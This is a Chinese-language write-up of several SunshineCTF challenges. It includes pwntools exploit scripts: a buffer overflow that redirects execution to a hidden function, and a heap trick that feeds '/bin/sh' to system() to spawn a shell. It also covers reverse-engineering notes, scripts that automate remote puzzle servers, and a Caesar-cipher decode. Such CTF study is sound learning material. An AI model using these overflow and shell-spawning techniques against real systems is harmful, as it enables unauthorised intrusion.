完成情况:
分类 | 题目 | 分数 |
---|---|---|
pwn | Return to mania;CyberRumble | 250 |
reverse | Patches' Punches;smash | 200 |
scripting | TimeWarp;Entry Exam | 300 |
crypto | WelcomeCrypto | 50 |
合计:250+200+300*0.7=660
Patches' Punches
关键代码部分如下:
![](https://img.haomeiwen.com/i7167424/0a8c21a3fd7ad5c6.png)
可以看出整个过程就是,给“zyq|Xu3Px~_{Uo}TmfUq2E3piVtJ2nf!}”的前29个字符的ascii码增加了DWORD数组array-1FD8中相应的数字。大概有如下等式:
![](https://img.haomeiwen.com/i7167424/7b7e19f838e5413f.png)
这里面比较重要的处理步骤是format和checkResult函数。前者,把我们的输入进行变换并存储到v2中,后者把获得的v2与一个已知的数组的内容进行比较,如果相同就表示验证成功。
变换的公式如下:
这里的思路很清晰,就是把那个已知的数组dump出来,然后将加密过程逆过来就可以了。
Return To Mania
运行程序可以看到,程序每次运行的时候都会打印welcome函数的地址。由于我们已经得到了elf文件,所以可以根据获得的welcome的地址计算出Mania的地址,即:
代码如下:
from pwn import *
e = ELF("return-to-mania")
# conn = process("./return-to-mania")
conn = remote('ret.sunshinectf.org', '4301')
conn.recvuntil('of welcome():')
welcom_addr = conn.recvline()
mania_addr = int(welcom_addr,16) - e.symbols['welcome'] + e.symbols['mania']
conn.sendline('A'*0x16+p32(mania_addr))
conn.interactive()
CyberRumble
题目中程序的问题主要有两处
- old_school对应的函数中,如果我们既不输入‘y’,也不输入‘n’,那么我们输入的东西将会留在堆上。
- last_ride xxx对应的函数中,system函数会以我们输入的xxx作为参数进行调用。
因此,可以考虑进行如下操作:
2.1 利用old_school将"/bin/sh"写到堆上并保留其地址。
2.2 利用last_ride 将"/bin/sh"的地址传递给system函数。
这里存在的几点问题是
- 地址的最低位不可以是0
解决办法是,在/bin/sh前面加个空格。相应的,地址最低位就可以变为0x01了。 - 地址最高的两位为0,无法直接输入
解决办法是,先输入一个较短的命令把最高位对应的字节设为0,然后再输入last_ride addr。
from pwn import *
import libnum
conn = process("./CyberRumble")
f= open("payload",'w')
# conn = remote("rumble.sunshinectf.org","4300")
conn.send("old_school /bin/sh\n")
conn.recvuntil("written to ")
pstr = conn.recvline()[:-2]
conn.send('o\n')
print pstr
conn.send("old_school "+'000000\n')
conn.send('o\n')
conn.send('last_ride '+p64(int(pstr,16)+2)+'\n')
conn.interactive()
TimeWrapper
这个题目比较简单,大体意思就是服务器上有一个固定的数字序列。我们需要把序列中的每个数都发给服务器才能获取flag。而且,如果我们猜错了数字,服务器会把正确地数字返回给我们。因此,只要写一个脚本自动猜数字,并获取数字序列就好了。
from pwn import *
f= open('nums','r')
nums = f.readline()
res = nums.replace('\n','').split(',')
f.close()
f = open('nums','w')
f.write(nums.replace('\n',''))
f.close()
with open('nums','a') as f:
flag = True
while flag:
conn = remote("tw.sunshinectf.org", "4101")
conn.recvline()
conn.recvline()
k = '\n'.join(res)
conn.sendline(k)
for i in res:
tmp = conn.recvline()
print tmp
tmp = conn.recvline()
print tmp
conn.sendline('1')
response = conn.recvline()
try:
print conn.recv(timeout=1)
except:
pass
print response
res.append(response[:-1])
conn.close()
f.write(',%s'%(res[-1],))
EntryExam
这个题目也比较简单,我们要做的就是,在两秒内把页面上的试卷做出来,并涂好答题卡,最后把答题卡传到服务器上去。然后,服务器会给我们返回下一个试卷的地址或flag。实现过程如下:
- 用requests获取试卷内容
- 用字符串处理获得答案
- 图像处理涂好答题卡
- requests上传答题卡
from PIL import Image
import numpy as np
import matplotlib.pyplot as plt
import json, urllib2
import requests
import os
sess = requests.session()
d = 60
h = 56
delatd = 10
delath = 34
def answer(ans):
image = plt.imread('/home/weilong/Documents/pwn/hackme/sunshine/scantron.png','r')
img = image.copy()
print image.shape
index = 0
for i in range(len(ans)):
if i<10:
x,y = 460,360
else:
x,y = 463,853
opt = (ord(ans[i])-ord('A'))
y = y + opt*(delatd+d)
x = x + (index%10) *(delath+h)
for j in range(-30,30):
for k in range(-30,30):
if (j*j+k*k) <= (d*d*1.0/4.0):
img[j+x][k+y][0] = 0
img[j+x][k+y][1]=img[j+x][k+y][2]=0
img[j+x][k+y][3] = 255
index = index+1
plt.imsave('test.png',img)
def getExam(x=0):
if x==0:
url = 'http://ee.sunshinectf.org/exam'
res = sess.get(url).text
else:
res = x
t = res.split("\n")
i = 0
ans = ''
while i< (len(t)):
if t[i].startswith("<li>"):
tmp = eval(t[i][4:][:-5])
i = i +2;
for j in range(4):
if tmp == int(t[i][4:][:-5]):
ans = ans + chr(ord('A')+j)
i = i + 1
continue
i = i +1
return ans
def send(filename):
file = { 'file':('file.png',open(filename,'rb'))}
upload_data = {"Content-Type": "image/png", "fileSize": str(os.path.getsize('test.png')),\
"filename": "test.png","Content-Disposition": "form-data"}
r = sess.post('http://ee.sunshinectf.org/exam',data=upload_data,files=file)
print sess.cookies.get_dict()
return r.text
ans = getExam()
print ans
answer(ans)
msg = send("test.png")
while not ('sun' in msg) :
ans = getExam(msg)
print ans
answer(ans)
msg = send("test.png")
print msg
Crypto
“DF?LHb=r_>b0%_0520<c8bPN”
可以发现‘D’与‘F’恰好相差2,碰巧‘s’和‘u’也相差2。因此猜测是凯撒密码。尝试解密获得:
“sun{w\x91l¡\x8em\x91_T\x8e_da_k\x92g\x91\x7f}”
隐约可以猜到内容大概是:
sun{w?l??m?_T?_da_k?g??}
猜测?处可能是符号而不是字母,所以尝试将问号处的内容全减去一个数使其变为符号。猜测\x8e会变为0(因为和O长得像)。于是变为:
sun{w3lC0m3_T0_da_k4g3!}提交一次,发现成功了。。
网友评论